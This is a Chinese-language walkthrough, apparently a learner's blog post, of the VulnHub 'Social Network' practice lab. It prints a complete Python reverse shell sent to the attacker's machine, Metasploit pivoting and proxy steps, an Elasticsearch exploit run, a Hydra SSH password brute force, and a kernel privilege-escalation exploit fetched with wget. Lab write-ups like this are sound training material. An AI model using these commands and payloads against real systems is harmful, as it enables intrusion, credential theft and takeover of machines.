靶场介绍
靶场名:Medium_socialnetwork
下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
环境搭建
靶机建议选择VM VirtualBox,我一开始尝试使用VMware时会报错,所以改用VM VirtualBox,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
运行好的靶场:
靶场练习
1.扫ip,扫端口
使用arp-scan进行靶场地址探测
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR
地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。
arp-scan -l
探测到靶场ip为192.168.0.194
使用nmap扫描端口,发现开放了22的ssh服务端口和5000端口,猜测5000端口为web服务端口。
访问192.168.0.194:5000
英语不好,开个翻译看看,原来是一个留言网站
输入个123提示长度不够,输入123456成功留言
2.扫目录,登后台
暂时没啥思路,那就扫目录,突然发现我kali里没安dirsearch,也对,我平时都直接在Windows里扫,那这次也就直接用Windows扫吧。
扫出来一个admin目录,应该是后台页面,访问一下
好家伙,这是能直接执行代码,也太草率了吧
执行了一些linux命名,返回执行失败
直接看一眼wp,wp里说信息收集时发现是python写的网站,我咋没发现,用Wappalyzer也没识别出来
百度发现在kali中有个工具可以查看网站指纹信息,whatweb,于是尝试一下,果然发现使用了python
利用执行python代码功能反弹shell
使用反弹shell命令生成的平台,很方便
https://forum.ywhack.com/shell.php
kali先开启监听
直接复制过去还是执行不了的,因为这里给的都是在命令行里执行的形式,页面中也提示了使用exec()函数执行
最后输入代码如下:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.0.3”,5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);
成功反弹shell
对获取到的shell进行信息收集
先使用ls命令看一下目录,发现有Docker文件,说明网站可能存在于docker容器中
使用ip a 或者ifconfig查看ip,发现ip地址和我们不一样,说明可能是docker环境
判断是否docker环境
方法一:判断根目录下 .dockerenv 文件
ls -alh /.dockerenv #非docker环境,没有这个.dockerenv文件
方法二:查询系统进程的cgroup信息
cat /proc/1/cgroup
Docker环境执行如下
通过这两种方式的验证,证实了我们现在是在docker环境中,也就是在内网环境中
内网探测,使用msf
因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长
所以我们使用一个循环代码进行探测
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done
发现一共存活了三个ip分别是172.17.0.1,172.17.0.2,172.17.0.3
为了接下来的探测方便,我们这里使用msf再次反弹shell
使用background将shell会话保存在msf中,方便以后直接连接,然后使用sessions -u 1 将普通的shell升级为meterpreter的shell,相对于普通的shell会有更多的功能
自动添加路由、添加代理
首先使用sessions 2 进入meterpreter中
run autoroute -p #打印活动路由表
run post/multi/manage/autoroute #自动创建路由
bg #将当前会话移动到后台 bg - background的别名
route print #查看路由表命令
添加代理,设置SRVPORT为1234
use auxiliary/server/socks_proxy
vi /etc/proxychains.conf #添加代理
使用代理探测内网ip信息
proxychains nmap -sV -sT 172.17.0.1
proxychains nmap -sV -sT 172.17.0.2
这里没跑出来,百度了一下,解决方法如下:
proxychains nmap -PN -sT 172.17.0.2
跑出来了9200端口
在kali中的火狐浏览器设置代理
访问172.17.0.2:9200
利用漏洞登录ssh
可以看到网站使用了elasticsearch1.4.2,我们去查一下这个版本所存在的漏洞
searchsploit elasticsearch
searchsploit -p 36337.py #查看第一个POC所在路径
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 #执行poc脚本
ls发现有密码文件
查看后发现是md5值
将root用户的密码md5值放到md5在线解密网站上尝试解码,还真解出来了
尝试进行ssh连接,发现root登录不上ssh,于是又去看wp,发现原来这里是要使用暴力破解工具进行爆破,找出其中可以连接ssh的账号。使用的工具为Hydra(九头蛇),kali中就有。
先分别把这几条md5都解出来(这个就要各显神通了),放到一个txt中,将用户名也放到一个txt中,准备好后就可以上九头蛇了。
hydra -L user.txt -P pass.txt ssh://192.168.0.194
很顺利的跑出了可以登录ssh的用户和密码
然后我们使用这个账号密码进行ssh登录
ssh john@192.168.0.194
成功登录
提权
提权这方面我了解的比较少,就直接跟着wp走了
先尝试sudo提权,失败
查看有无suid权限的文件,没有
uname -a 显示系统信息
可以看出linux内核版本为3.13.0,于是查找一下这个版本有无漏洞
searchsploit Linux 3.13.0
可以看到37292.c比较合适,查看一下脚本的绝对路径
查看代码,发现需要gcc编译(我看不懂,代码审计水平太菜了)
靶机环境中没有gcc
那么我们将编译好的文件和修改过的c代码运送到靶机运行,将代码里面要到gcc编译的地方删除(真是个好方法,大佬动手能力太强了)
将下图中选中的代码删除:
搜索编译好的ofs-lib.so
将37292.c编译,生成exp文件
gcc 37292.c -o exp
使用python将文件上传到靶机中
攻击机这边开启临时服务
靶机那边使用wget命令下载文件
因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下
执行脚本,提权成功,获得root权限
总结
1.这是我第一次进行渗透测试靶场的练习,断断续续打了一整天,而且还是一直看着wp打的,感觉很多东西都是第一次接触。
2.对kali中的工具了解较少,msf的使用也不够熟练,linux命令也不够熟悉,提权部分修改代码那部分更是超出了我的能力范围,虽然能理解将代码中需要编译的东西在外面直接编译好再发过去这个操作,但是光凭自己去看代码的话肯定是看不出来要删哪部分代码的。
3.九头蛇这个工具也是第一次用,感觉很强大。
4.判断是否docker环境的操作也是第一次见识到,学到了很多。
参考链接
感谢大佬们的wp,没有大佬的wp,我寸步难行。
http://www.syrr.cn/news/35168.html?action=onClick
https://mp.weixin.qq.com/s/kkGPzcaNgr17488cUWAg8Q